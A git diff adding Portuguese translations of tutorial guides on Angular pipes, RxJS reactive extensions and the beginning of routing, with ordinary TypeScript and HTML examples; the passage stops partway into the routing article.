+Tubos também são _correntes_ . Você pode integrar pipes um após o outro para executar transformações cada vez mais complexas. Como transformadores de dados especializados, os canos dificilmente são triviais.
+
+#### Casos de Uso
+
+Angular vem pré-empacotado com um conjunto básico de tubos. Trabalhar com alguns deles desenvolverá a intuição para lidar com o resto. A lista a seguir fornece dois exemplos.
+
+*   AsyncPipe
+    
+*   DatePipe
+    
+
+Esses dois executam tarefas simples. Sua simplicidade é extremamente benéfica.
+
+##### AsyncPipe
+
+Esta seção requer uma compreensão básica de promessas ou observáveis ​​para apreciar plenamente. O AsyncPipe opera em qualquer um dos dois. O AsyncPipe extrai dados de Promises / Observables como saída para o que vem a seguir.
+
+No caso do Obervables, o AsyncPipe assina automaticamente a fonte de dados. Independentemente de onde os dados vêm, o AsyncPipe se associa à fonte observável. `async` é o nome sintático do AsyncPipe, conforme mostrado abaixo.
+
+```html
+
+<ul *ngFor=“let potato of (potatoSack$ | async); let i=index”> 
+  <li>Potatoe {{i + 1}}: {{potato}}</li> 
+ </ul> 
+```
+
+No exemplo, `potatoSack$` é um Observable pendente de um upload de batatas. Quando as batatas chegam, de forma síncrona ou assíncrona, o AsyncPipe as recebe como um array _iterável_ . O elemento da lista é preenchido com batatas.
+
+##### DatePipe
+
+A formatação de strings de data leva um pouco de hacking com o objeto JavaScript `Date` . O DatePipe fornece uma maneira poderosa de formatar datas, assumindo que a entrada dada é um formato de hora válido.
+
+```typescript
+// example.component.ts 
+ 
+ @Component({ 
+  templateUrl: './example.component.html' 
+ }) 
+ export class ExampleComponent { 
+  timestamp:string = '2018-05-24T19:38:11.103Z'; 
+ } 
+```
+
+```html
+
+<!-- example.component.html --> 
+ 
+ <div>Current Time: {{timestamp | date:'short'}}</div> 
+```
+
+O formato do `timestamp` acima é [ISO 8601 1](https://en.wikipedia.org/wiki/ISO_8601) - não é o mais fácil de ler. O DatePipe ( `date` ) transforma o formato de data ISO em um `mm/dd/yy, hh:mm AM|PM` mais convencional `mm/dd/yy, hh:mm AM|PM` . Existem muitas outras opções de formatação. Todas essas opções estão na [documentação oficial](https://angular.io/api/common/DatePipe) .
+
+#### Criando Tubulações
+
+Embora o Angular tenha apenas um número definido de pipes, o `@Pipe` decorator permite que os desenvolvedores criem seus próprios. O processo começa com `ng generate pipe [name-of-pipe]` , substituindo `[name-of-pipe]` por um nome de arquivo preferível. Este é um comando da [CLI Angular](https://cli.angular.io) . Isso produz o seguinte.
+
+```typescript
+import { Pipe, PipeTransform } from '@angular/core'; 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value: any, args?: any): any { 
+      return null; 
+  } 
+ } 
+```
+
+Este modelo de pipe simplifica a criação de pipe personalizado. O decorador `@Pipe` diz ao Angular que a classe é um pipe. O valor do `name: 'example'` , neste caso sendo `example` , é o valor que o Angular reconhece ao varrer HTML de modelo para canais personalizados.
+
+Para a lógica de classes. A implementação do `PipeTransform` fornece as instruções para a função de `transform` . Esta função tem um significado especial dentro do contexto do decorador `@Pipe` . Ele recebe dois parâmetros por padrão.
+
+`value: any` é a saída que o pipe recebe. Pense em `<div>{{ someValue | example }}</div>` . O valor de someValue é passado para o `value: any` da função de `transform` `value: any` parâmetro. Esta é a mesma função de `transform` definida na classe ExamplePipe.
+
+`args?: any` é qualquer argumento que o pipe receba opcionalmente. Pense em `<div>{{ someValue | example:[some-argument] }}</div>` . `[some-argument]` pode ser substituído por qualquer valor. Este valor é passado para o parâmetro `args?: any` da função de `transform` `args?: any` . Ou seja, a função de `transform` definida na classe ExamplePipe.
+
+O que quer que a função retorne ( `return null;` ) se torna a saída da operação do pipe. Dê uma olhada no próximo exemplo para ver um exemplo completo de ExamplePipe. Dependendo da variável que o pipe recebe, ele coloca em maiúsculas ou minúsculas a entrada como nova saída. Um argumento inválido ou inexistente fará com que o pipe retorne a mesma entrada como saída.
+
+```typescript
+// example.pipe.ts 
+ 
+ @Pipe({ 
+  name: 'example' 
+ }) 
+ export class ExamplePipe implements PipeTransform { 
+  transform(value:string, args?:string): any { 
+    switch(args || null) { 
+      case 'uppercase': 
+        return value.toUpperCase(); 
+      case 'lowercase': 
+        return value.toLowerCase(); 
+      default: 
+        return value; 
+    } 
+  } 
+ } 
+```
+
+```typescript
+// app.component.ts 
+ 
+ @Component({ 
+  templateUrl: 'app.component.html' 
+ }) 
+ export class AppComponent { 
+  someValue:string = "HeLlO WoRlD!"; 
+ } 
+```
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <!-- Outputs “HeLlO WoRlD!” --> 
+ <h6>{{ someValue | example }}</h6> 
+ 
+ <!-- Outputs “HELLO WORLD!” --> 
+ <h6>{{ someValue | example:'uppercase' }}</h6> 
+ 
+ <!-- Outputs “hello world!” --> 
+ <h6>{{ someValue | example:'lowercase' }}</h6> 
+```
+
+Compreender o exemplo acima significa que você entende os tubos angulares. Há apenas mais um tópico para discutir.
+
+#### Tubulações Puras e Impuras
+
+Tudo o que você viu até agora foi um tubo _puro_ . `pure: true` é definido por padrão nos metadados do `@Pipe` decorator. A diferença entre os dois constitui a detecção de alterações do Angular.
+
+Os pipes puros são atualizados automaticamente sempre que o valor de sua entrada derivada é alterado. O pipe será reexecutado para produzir nova saída após uma alteração detectável no valor de entrada. As alterações detectáveis ​​são determinadas pelo loop de detecção de alterações do Angular.
+
+Os tubos Impure são atualizados automaticamente sempre que ocorre um ciclo de detecção de alteração. A detecção de alterações do Angular acontece com bastante frequência. Ele indica se ocorreram mudanças nos dados dos membros da classe do componente. Em caso afirmativo, o modelo HTML é atualizado com os dados atualizados. Caso contrário, nada vai acontecer.
+
+No caso de um pipe impuro, ele será atualizado independentemente de haver uma alteração detectável ou não. Um pipe impuro é atualizado sempre que os loops de detecção de alterações são alterados. Tubos impuros geralmente consomem muitos recursos e geralmente são mal aconselhados. Dito isto, eles operam mais como uma escotilha de escape. Se você precisar de um `@Pipe` sensível à detecção, alterne `pure: false` nos metadados do `@Pipe` decorator.
+
+#### Conclusão
+
+Isso cobre cachimbos. Os tubos têm muito potencial além do escopo deste artigo. Os Pipes contribuem com transformações de dados sucintas para o HTML do modelo de seus componentes. Eles são uma boa prática em situações em que os dados precisam passar por pequenas transformações.
+
+## Fontes
+
+1.  [Comunidade Wiki. _ISO 8601_ Wikipédia. Acessado em 27 de maio de 2018](https://en.wikipedia.org/wiki/ISO_8601)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide/pipes)
+*   [Repositório Angular GitHub](https://github.com/angular/angular)
+*   [Lista de Tubos Pré-embalados com Angular](https://angular.io/api?query=pipe)
+*   [CLI Angular](https://cli.angular.io)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/reactive-extensions/index.md b/client/src/guide/portuguese/angular/reactive-extensions/index.md
new file mode 100644
index 0000000000..45b9d6e214
--- /dev/null
+++ b/client/src/guide/portuguese/angular/reactive-extensions/index.md
@@ -0,0 +1,347 @@
+---
+title: Reactive Extensions
+localeTitle: Extensões reativas
+---
+# Extensões reativas em angular
+
+#### Motivação
+
+Extensões reativas para JavaScript (RxJS) é uma biblioteca para fluxos de dados _observáveis_ . O RxJS é instalado com o Angular após a execução da linha de comando do `ng new [name-of-application]` . Isso usa a interface de linha de comando (CLI) Angular. O RxJS suplementa como os dados são dinamizados por meio de um `Observable` . O objeto `Observable` facilita o fluxo de dados _iteráveis_ .
+
+Fluxos de dados não são o caso de uso principal. Afinal, os fluxos de dados são fluxos de eventos paralelos. Os eventos são emitidos para que um aplicativo saiba quando os dados chegam. Enquanto os fluxos de eventos formam o núcleo do que o RxJS complementa, este artigo também se refere a eles como fluxos de dados.
+
+Os fluxos são executados de forma síncrona (imediata) ou assincronamente (hora extra). O RxJS manipula ambos os casos com facilidade através do fluxo de dados `Observable` . Assincronia estrita é toggleable embora. Trabalhando com memória, os dados _iteráveis_ acontecem imediatamente enquanto a busca de dados externos leva tempo. O Angular suporta a biblioteca RxJS para que possa lidar com ambos os casos de uso com fluxos de dados.
+
+#### Programação reativa
+
+Antes de mergulhar, é importante entender o paradigma que sustenta a biblioteca RxJS. Como mencionado, ele funciona através do objeto `Observable` que simplifica os dados emissores de eventos.
+
+Funções RxJS ao redor da base `Observable` . Sua biblioteca inteira complementa o que pode fazer. O RxJS inclui até mesmo outros objetos, incluindo `Subject` , `Subscription` e `Observer` . Cada um é sua própria variante personalizada da base `Observable` .
+
+O RxJS surgiu do paradigma da Programação Reativa. Este paradigma introduziu o padrão _observável_ . Nela existe essa idéia chave: um único `Observable` emite enquanto todos os seus `Observer` são notificados. `Observer` _assinam os_ `Observable` para receber notificação. Esta notificação pode significar várias coisas.
+
+Pode indicar mudança de dados ou chegada de dados, conforme comumente descrito neste artigo. Pode sinalizar uma mudança em alguma parte do aplicativo que afeta os `Observer` .
+
+Esse padrão _observável_ também se esforça para desacoplar conceitos. Um `Observable` deve poder funcionar sem qualquer `Observer` e vice-versa. Isso geralmente significa que eles podem ser autônomos em vez de funcionar totalmente sem o outro.
+
+Se curioso, você pode aprender mais sobre os fundamentos da Programação Reativa lendo [este artigo da Wikipedia](https://en.wikipedia.org/wiki/Reactive_programming) . Esta seção aborda o que é necessário para o restante do artigo.
+
+#### Observáveis
+
+Para reiterar rapidamente, os `Observable` podem ser _observados_ . Isso para que um `Observable` forneça feedback para suas dependências com base em um fluxo de dados. Em RxJS, o `Observable` é sua própria função de fábrica usada para criar objetos `Observable` . Seu plano básico é o seguinte.
+
+```typescript
+import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next(data); 
+ }); 
+```
+
+`.next` passa dados enquanto emite um evento a seus observadores. Um `Observable` emite dados de dentro de seu retorno de chamada `.create` usando `.next` . Aceita um argumento representando os dados a serem emitidos. O `Observable` ainda não foi implementado no JavaScript. O RxJS fornece uma substituição da sua biblioteca.
+
+O próximo passo é os observadores. Para dizer a uma função ou objeto para _observar_ um `Observable` , a seguinte sintaxe é usada: `observable.subscribe(observer)` . Outra maneira de ver isso é o `producer.subscribe(consumer)` . Observables _produzem_ dados chamando `.next` . Os consumidores são então notificados enquanto recebem os dados.
+
+```typescript
+import { Observable } from 'rxjs'; 
+ 
+ const observable = Observable.create((source) => { 
+  source.next("Hello"); 
+  source.next("World!"); 
+ }); 
+ 
+ observable.subscribe((word) => console.log(word)); 
+ // console output 
+ /* 
+ Hello 
+ World! 
+ */ 
+```
+
+Duas invocações de `.next` ocorrem dentro do callback `.create` do `Observable` (produtor de dados). Isso resulta em duas saídas de console separadas do observador (consumidor de dados).
+
+As duas invocações de `.next` representam um fluxo síncrono de dados. Os fluxos conceituam os dados como um fluxo linear em ordem. Ele é resolvido de forma síncrona ou assíncrona, dependendo da disponibilidade dos dados.
+
+Se os dados que compõem um fluxo estiverem prontamente disponíveis, serão executados de forma síncrona. Caso contrário, o fluxo é resolvido de forma assíncrona ao longo do tempo. A ordem dos dados em cada caso é sempre a mesma, dependendo da invocação de `.next` dentro do observável.
+
+Um `Observable` opera como uma fila. Chamar `.next` em um dado de dados o empurra para o final da fila. Os dados aparecem na frente, uma vez resolvidos.
+
+Fluxos de dados `Observable` têm grande apelo. Eles são deterministas em sua ordem e executam sensatamente, dependendo da disponibilidade de dados. Além disso, qualquer número de observadores pode _observar_ a fonte de dados `Observable` . Isso significa que os dados podem produzir uma vez e emitem em qualquer lugar, tudo em uma operação.
+
+As funções de retorno de chamada não são a única maneira de consumir dados. Observáveis ​​podem encadear uns aos outros como produtores e consumidores.
+
+```typescript
+const observableI = Observable.create((source) => { 
+  source.next("Hello World!"); 
+ }); 
+ 
+ const observableII = new Observable().subscribe((v) => console.log(v)); 
+ 
+ observableI.subscribe(observableII); 
+ // console output 
+ /* 
+ Hello World! 
+ */ 
+```
+
+`.subscribe` está no objeto `Observable` . Você pode chamá-lo com um `Observable` como sua fonte (produtor) e outro observável como argumento (consumidor). Os dados podem fluir (emitir) através de qualquer número de observáveis.
+
+#### Extensões reativas para JavaScript (RxJS)
+
+Streaming de dados é bom, mas qual é o ponto se os observáveis ​​não podem editar o fluxo? Isto onde a biblioteca RxJS entra em jogo. Ele fornece operadores que executam várias mutações no fluxo de dados.
+
+Angular alavanca esses operadores para transformar os dados recebidos. Os desenvolvedores podem reduzir os dados desnecessários de um fluxo de entrada usando os operadores RxJS. Isso economiza memória e alivia a necessidade de lógica de transformação adicional.
+
+RxJS oferece desvios do padrão `Observable` como `Subject` , `Subscription` e `Observer` . Pense nesses desvios como sabores especiais do `Observable` tradicional. Eles não são necessários para fazer uso da biblioteca. Dito isso, variantes como `Subject` têm casos de uso incríveis que ultrapassam o padrão `Observable` .
+
+Este artigo fica com o padrão `Observable` . Todos os operadores de fluxo de dados do RxJS trabalham através do `Observable` .
+
+Muitos operadores RxJS principais originaram-se do Array Extras do JavaScript. O protótipo do objeto Array contém muitos paralelos com a biblioteca RxJS. Estes são também conhecidos como 'Extras'. Matrizes são estruturas similares a fluxos semelhantes aos fluxos de dados observáveis.
+
+Para entender melhor os operadores do RxJS, este artigo abordará brevemente os Array Extras do JavaScript. Cada um funciona de forma quase idêntica à sua contraparte RxJS. A diferença é simplesmente o formato dos dados (array iterável vs fluxo iterável).
+
+#### Extras de matriz
+
+Arrays contêm muitos métodos de utilidade. Esses métodos são chamados de Extras de Matriz. Todos eles existem no protótipo do objeto Array. A lista abaixo contém cinco paralelos Extras com RxJS.
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+Para cada exemplo, o array itera-se para produzir um resultado final.
+
+`.reduce` minimiza uma matriz em um único valor. `.filter` apara um array com avaliação booleana. `.map` transforma uma matriz elemento por elemento. `.every` avalia true ou false para o array inteiro, dependendo de uma condição booleana. `.forEach` itera através de elementos de uma matriz.
+
+Arrays model streams. Estão em ordem um do outro e iteram um por um. Os observáveis ​​simplificam os elementos de dados para seus observadores de maneira semelhante. É por isso que o RxJS inclui uma contraparte lógica para cada Array Extra em sua biblioteca. Concedido, o RxJS fornece muito mais de seus próprios operadores do que o Array Extras.
+
+#### Operadores básicos de RxJS
+
+Há, literalmente, um conjunto inteiro de operadores de RxJS. Este artigo enfoca os listados abaixo que o Array Extras inspirou.
+
+*   `.reduce`
+*   `.filter`
+*   `.map`
+*   `.every`
+*   `.forEach`
+
+Nada mudou da lista anterior. Sua compreensão do Array Extras se aplica aos operadores RxJS. O único problema é uma função chamada `.pipe` que será usada nos próximos exemplos. `.pipe` correntes RxJS operadores juntos. Os resultados do operador anterior seguem para o próximo até o operador final. Os dados resultantes são então emitidos a partir do fluxo observável.
+
+Observe o exemplo padrão abaixo. Use-o para comparação para o impacto de cada operador no fluxo de dados emitido.
+
+```typescript
+import { Observable, from } from 'rxjs'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ */ 
+```
+
+`.from` converte uma matriz em uma `Observable` objeto que chama `.next` em cada elemento da matriz. A função `.pipe` aceita qualquer número de argumentos como operadores de matriz. É onde todos os operadores são implementados. Os operadores executam dados simplificados em ordem de implementação como argumentos para `.pipe` .
+
+##### Reduzir
+
+`.reduce` minimiza o fluxo de dados em um único valor antes de emitir.
+
+```typescript
+import { reduce } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  reduce((accum, val) => (accum + val)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 15 
+ */ 
+```
+
+##### Filtro
+
+`.filter` um fluxo, eliminando valores de fluxo que não satisfazem sua condição.
+
+```typescript
+import { filter } from 'rxjs/operators'; 
+ 
+ const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+  filter((val) => (val % 2 === 0)) // filters out odd numbers 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 4 
+ */ 
+```
+
+##### Mapa
+
+`.map` segmenta e transforma cada valor de fluxo em andamento.
+
+```typescript
+const stream: number[] = [1, 2, 3, 4, 5]; 
+ 
+ const observable: Observable<number> = from(stream).pipe( 
+    map((val) => (val + 1)) 
+ ); 
+ observable.subscribe((val: number) => console.log(val)); 
+ 
+ // console output 
+ /* 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ */ 
+```
+
+##### Desafio: todos e para cada
+
+Com o conhecimento de `.every` e `.forEach` Array Extras, tente implementá-los como operadores RxJS. Sinta-se à vontade para usar os exemplos anteriores para orientação. Um pouco de prática vai um longo caminho depois de muita leitura!
+
+#### HTTP em Angular
+
+Esta seção traz RxJS e Angular juntos para mostrar como eles interagem. Normalmente, um serviço fornecido pela Angular fornecerá o `Observable` . O fluxo de dados do `Observable` pode então sofrer mutação usando operadores `.pipe` com `.pipe` .
+
+Angular fornece um serviço `HttpClient` através de `@angular/common/http` . `HttpClientModule` também é de `@angular/common/http` e exporta o serviço `HttpClient` . O módulo raiz do aplicativo deve importar o `HttpClientModule` . Isso torna o `HttpClientModule` _injetável_ de qualquer lugar no aplicativo.
+
+O serviço `HttpClientModule` faz solicitações HTTP. Essas solicitações são assíncronas. O que os torna interessantes para o Angular é como o pedido é tratado. Um `Observable` é retornado com cada solicitação. O RxJS pode tirar isso de lá.
+
+O próximo exemplo usa uma API pública criada pelo [Typicode](https://jsonplaceholder.typicode.com) . A API fornece uma matriz de 100 elementos por solicitação `GET` assíncrona.
+
+```typescript
+// ./models/post.model.ts 
+ 
+ export interface Post { 
+  userId: number; 
+  id: number; 
+  title: string; 
+  body: string; 
+ } 
+```
+
+```typescript
+// ./services/json.service.ts 
+ 
+ import { HttpClient } from '@angular/common/http'; 
+ import { Injectable } from '@angular/core'; 
+ 
+ import { Observable, from } from 'rxjs'; 
+ import { switchMap, map, filter, reduce } from 'rxjs/operators'; 
+ 
+ import { Post } from '../models/post.model'; 
+ 
+ @Injectable({ 
+  providedIn: 'root' 
+ }) 
+ export class JsonService { 
+  constructor(private http: HttpClient) { } 
+ 
+  getPostsByUserId(id: number): Observable<any> { 
+    const trim$ = (stream) => from(stream) 
+      .pipe( 
+        filter((post: Post) => +post.userId === +id), 
+        map((post: Post) => ({ title: post.title, body: post.body })), 
+        reduce((accum: Post[], post: Post) => accum.concat([post]), []) 
+      ); 
+ 
+    return this.http.get("https://jsonplaceholder.typicode.com/posts") 
+      .pipe( 
+        switchMap((value) => trim$(value)) 
+      ); 
+  } 
+ } 
+```
+
+```typescript
+// ./components/example/example.component.ts 
+ 
+ import { Component } from '@angular/core'; 
+ 
+ import { JsonService } from '../../services/json.service'; 
+ import { Post } from '../../models/post.model'; 
+ 
+ @Component({ 
+  selector: 'app-example', 
+  template: ` 
+  <h1>Request User Posts</h1> 
+  <span>User: </span><input #userInput> 
+  <button (click)="requestForPosts(userInput.value)">REQUEST</button> 
+  <hr> 
+  <ul> 
+    <div *ngIf="userPosts"> 
+      <div *ngFor="let post of userPosts"> 
+        <h3>{{ post.title }}</h3> 
+        <p>{{ post.body }}</p> 
+      </div> 
+    </div> 
+    <h3 *ngIf="!userPosts">No posts shown...</h3> 
+  </ul> 
+  ` 
+ }) 
+ export class ExampleComponent { 
+  userPosts: Post[]; 
+ 
+  constructor(private json: JsonService) { } 
+ 
+  requestForPosts(id: number): void { 
+    this.json.getPostsByUserId(id) 
+      .subscribe((posts: Post[]) => { this.userPosts = posts.length > 0 ? posts : null; }); 
+  } 
+ } 
+```
+
+`json.service.ts` cria um `Observable` em nome de `component.example.ts` . O componente pode se inscrever no `Observable` retornado. Apenas um valor é emitido no momento em que o `Observable` resolve o fluxo de dados.
+
+O pedido para `jsonplaceholder.typicode.com` produz uma única matriz de 100 posts. A solicitação via `HttpClient` produz um `Observable` . O operador `switchMap` retorna outro `Observable` que sobrescreve o fluxo atual. A variável `trim$` armazena o `Observable` como seu valor. Acrescentar um `$` a uma variável usada para armazenar o s `Observable` é uma convenção.
+
+`from` converte o array de `jsonplaceholder.typicode.com` em um `Observable` 100 valores. Operadores RxJS então filtram cada parte dos dados no fluxo. Eles removem os valores de fluxo irrelevantes para a solicitação. O corte de dados ocorre para que os valores de fluxo permaneçam enxutos em informações desnecessárias. Os resultados finais se juntam mais uma vez como um único array que emite um para seus observadores.
+
+Em `component.example.ts` , o JsonService faz referência ao método que retorna o `Observable` recém-descrito. Este método invoca o clique do botão no modelo do componente. A caixa de entrada também no modelo fornece o argumento `id` único.
+
+Com o botão pressionado, o JsonService retorna um `Observable` que emite um único array. `.subscribe` invoca no `Observable` retornado. O componente então define o valor de `userPosts` igual ao array emitido.
+
+A Detecção de Mudança Angular seleciona a mudança nos dados da classe. As atualizações de modelo e `*ngFor` garantem que cada elemento da matriz de `userPosts` renderize seu próprio elemento de modelo.
+
+#### Conclusão
+
+O RxJS fornece o núcleo `Observable` junto com seus operadores. A biblioteca é instalada automaticamente a partir da linha de comando, usando `ng new [name-of-app]` (Angular CLI). Os tipos de núcleo e operadores `rxjs` baixados para `rxjs` e `rxjs/operators` , respectivamente.
+
+Mesmo se você não usar o CLI, serviços como o `HttpClient` ainda `HttpClient` ser usados. O serviço retorna um `Promise` vez de um `Observable` se o RxJS não estiver disponível. O objeto `Promise` é nativo ao JavaScript, ao contrário do `Observable` . Isso provavelmente mudará na próxima versão oficial do JavaScript.
+
+Dito isto, aproveite ao máximo o RxJS! Qualquer estrutura iterável pode acomodar o `Observable` . Com isso, toda a biblioteca RxJS se torna utilizável. Seus operadores transformam com eficiência os dados de um fluxo em resultados. Além disso, os observadores podem assinar resultados, aumentando a portabilidade geral dos dados.
+
+## Fontes
+
+*   [Equipa Angular "A biblioteca RxJS". _Google_ . Acessado em 5 de junho de 2018.](https://angular.io/guide/rx-library)
+*   [Forbes, Elliot. “Criando um aplicativo em tempo real com o tutorial Angular e Socket.io”. _TutorialEdge.net_ , 10 de janeiro de 2017. Acessado em 5 de junho de 2018.](https://tutorialedge.net/typescript/angular/angular-socket-io-tutorial)
+*   [Equipe RxJS. “Documentação RxJS”. _RxJS_ . Acessado em 5 de junho de 2018.](https://rxjs-dev.firebaseapp.com)
+*   [Sukale, Ryan. “Diferença entre Rxjs Subject and Observable”. _TutorialHorizon_ , 23 de março de 2017. Acessado em 5 de junho de 2018.](https://javascript.tutorialhorizon.com/2017/03/23/rxjs-subject-vs-observable)
+*   [Comunidade da Wikipédia. “Programação reativa”. _Wikipedia_ , 2 de junho de 2018. Acessado em 5 de junho de 2018.](https://en.wikipedia.org/wiki/Reactive_programming)
+
+## Recursos
+
+*   [Documentação Angular](https://angular.io/guide)
+*   [Angular no GitHub](https://github.com/angular/angular)
+*   [CLI Angular](https://cli.angular.io)
+*   [RxJS e Angular](https://angular.io/guide/rx-library)
+*   [Programação reativa](https://en.wikipedia.org/wiki/Reactive_programming)
+*   [Extensões reativas para JavaScript](https://rxjs-dev.firebaseapp.com)
\ No newline at end of file
diff --git a/client/src/guide/portuguese/angular/routing/index.md b/client/src/guide/portuguese/angular/routing/index.md
new file mode 100644
index 0000000000..d328eb2c14
--- /dev/null
+++ b/client/src/guide/portuguese/angular/routing/index.md
@@ -0,0 +1,673 @@
+---
+title: Routing
+localeTitle: Roteamento
+---
+# Roteamento
+
+#### Motivação
+
+Roteamento é essencial. Muitos aplicativos da web modernos hospedam informações demais para uma página. Os usuários não devem ter que percorrer todo o conteúdo do aplicativo inteiro. Um aplicativo precisa se dividir em seções distinguíveis.
+
+Os usuários priorizam as informações necessárias. O roteamento os ajuda a encontrar a seção do aplicativo com essas informações. Qualquer outra informação útil para outros usuários pode existir em uma rota totalmente separada. Com o roteamento, os dois usuários podem encontrar rapidamente o que precisam. Detalhes irrelevantes ficam obscurecidos por rotas irrelevantes.
+
+O roteamento se destaca na classificação e na restrição do acesso aos dados do aplicativo. Dados confidenciais nunca devem ser exibidos para usuários não autorizados. Entre cada rota, o aplicativo pode intervir. Pode examinar a sessão de um usuário para fins de autenticação. Este exame determina o que a rota processa se deve renderizar de todo. O roteamento oferece aos desenvolvedores a oportunidade perfeita de verificar um usuário antes de prosseguir.
+
+Criar uma lista de rotas também promove a organização. Em termos de desenvolvimento, ele mantém o desenvolvedor pensando em seções distintas. Os usuários também se beneficiam disso, mas são mais desenvolvedores quando navegam no código do aplicativo. Uma lista de roteadores programáticos mostra um modelo preciso do front-end do aplicativo.
+
+Quanto ao Angular, o roteamento ocupa sua própria biblioteca inteira dentro da estrutura. Todas as estruturas front-end modernas suportam roteamento e Angular não é diferente. O roteamento acontece do lado do cliente usando o hash ou o roteamento de localização. Ambos os estilos permitem que o cliente gerencie suas próprias rotas. Nenhuma assistência adicional do servidor é necessária após a solicitação inicial.
+
+O navegador da Web raramente é atualizado usando o roteamento no lado do cliente. Os utilitários do navegador da Web, como marcadores, histórico e a barra de endereços ainda funcionam, apesar de não serem refrescantes. Isso contribui para uma experiência de roteamento que não atrapalha o navegador. Não é mais recarregada a página quando o roteamento é feito para uma página diferente.
+
+Angular adiciona uma camada de abstração sobre as principais tecnologias usadas para roteamento. Este artigo pretende explicar essa abstração. Existem duas estratégias de roteamento em Angular: localização do caminho e hash. Este artigo enfoca a estratégia de localização do caminho, já que é a opção padrão.
+
+Além disso, a localização do caminho pode descartar o roteamento de hash após a liberação completa do [Angular Universal](https://universal.angular.io) . Independentemente disso, as duas estratégias são muito semelhantes na implementação. Aprender um aprende o outro. Hora de começar!
+
+#### Configuração do RouterModule
+
+Utilitários de roteamento exportam com o `RouterModule` disponível a partir de `@angular/router` . Não faz parte da biblioteca principal, pois nem todos os aplicativos exigem roteamento. A maneira mais convencional de introduzir o roteamento é como seu próprio [módulo de recurso](https://angular.io/guide/feature-modules) .
+
+À medida que a complexidade da rota cresce, tê-la como seu próprio módulo promoverá a simplicidade do módulo raiz. Manter a simplicidade estúpida sem comprometer a funcionalidade constitui um bom design para os módulos.
+
+```typescript
+import { NgModule } from '@angular/core'; 
+ import { RouterModule, Routes } from '@angular/router'; 
+ 
+ import { AComponent } from '../../components/a/a.component'; 
+ import { BComponent } from '../../components/b/b.component'; 
+ 
+ // an array of soon-to-be routes! 
+ const routes: Routes = []; 
+ 
+ @NgModule({ 
+  imports: [ RouterModule.forRoot(routes) ], 
+  exports: [ RouterModule ] 
+ }) 
+ export class AppRoutingModule { } 
+```
+
+`.forRoot(...)` é uma função de classe disponível na classe RouterModule. A função aceita uma matriz de objetos de `Route` como `Routes` . `.forRoot(...)` configura rotas para carregamento `.forChild(...)` enquanto sua alternativa `.forChild(...)` configura para carregamento lento.
+
+Carregamento rápido significa que as rotas carregam seu conteúdo no aplicativo desde o início. O carregamento lento acontece por demanda. O foco deste artigo é o carregamento rápido. É a abordagem padrão para carregar em um aplicativo. A definição da classe RouterModule é semelhante ao próximo bloco de código.
+
+```typescript
+@NgModule({ 
+  // … lots of metadata ... 
+ }) 
+ export class RouterModule { 
+  forRoot(routes: Routes) { 
+    // … configuration for eagerly loaded routes … 
+  } 
+ 
+  forChild(routes: Routes) { 
+    // … configuration for lazily loaded routes … 
+  } 
+ } 
+```
+
+Não se preocupe com os detalhes de configuração que o exemplo omite com comentários. Ter uma compreensão geral fará por agora.
+
+Observe como o AppRoutingModule importa o RouterModule enquanto também o exporta. Isso faz sentido, já que o AppRoutingModule é um módulo de recurso. Ele importa para o módulo raiz como um módulo de recurso. Ele expõe as diretrizes, interfaces e serviços RouterModule para a árvore de componentes raiz.
+
+Isso explica por que o AppRoutingModule deve exportar o RouterModule. Ele faz isso por causa da árvore de componentes subjacente do módulo raiz. Precisa de acesso a esses utilitários de roteamento!
+
+```typescript
+import { BrowserModule } from '@angular/platform-browser'; 
+ import { NgModule } from '@angular/core'; 
+ 
+ import { AppComponent } from './app.component'; 
+ import { AComponent } from './components/a/a.component'; 
+ import { BComponent } from './components/b/b.component'; 
+ import { AppRoutingModule } from './modules/app-routing/app-routing.module'; 
+ 
+ @NgModule({ 
+  declarations: [ 
+    AppComponent, 
+    AComponent, 
+    BComponent 
+  ], 
+  imports: [ 
+    AppRoutingModule, // routing feature module 
+    BrowserModule 
+  ], 
+  providers: [], 
+  bootstrap: [ AppComponent ] 
+ }) 
+ export class AppModule { } 
+```
+
+O token AppRoutingModule importa do topo. Seu token é inserido na matriz de importações do módulo raiz. A árvore de componentes raiz pode agora utilizar a biblioteca RouterModule. Isso inclui suas diretivas, interfaces e serviços, como já mencionado. Muito obrigado ao AppRoutingModule por exportar o RouterModule!
+
+Os utilitários do RouterModule serão úteis para os componentes da raiz. O HTML básico para o AppComponent faz uso de uma diretiva: `router-outlet` .
+
+```html
+
+<!-- app.component.html --> 
+ 
+ <ul> 
+  <!-- routerLink(s) here --> 
+ </ul> 
+ <router-outlet></router-outlet> 
+ <!-- routed content appends here (AFTER THE ELEMENT, NOT IN IT!) --> 
+```
+
+`routerLink` é uma diretiva de atributo do RouterModule. Ele será anexado a cada elemento de `<ul></ul>` assim que as rotas forem configuradas. `router-outlet` é uma diretiva de componente com comportamento interessante. Ele age mais como um marcador para exibir o conteúdo roteado. O conteúdo roteado resulta da navegação para uma rota específica. Geralmente isso significa um único componente conforme configurado no AppRoutingModule
+
+O conteúdo roteado renderiza logo após `<router-outlet></router-outlet>` . Nada aparece dentro dele. Isso não faz muita diferença considerável. Dito isso, não espere que `router-outlet` se comporte como um contêiner para o conteúdo roteado. É apenas um marcador para anexar conteúdo roteado ao Document Object Model (DOM).
+
+#### Roteamento Básico
+
+A seção anterior estabelece a configuração básica do roteamento. Antes que o roteamento real possa acontecer, mais algumas coisas devem ser abordadas
+
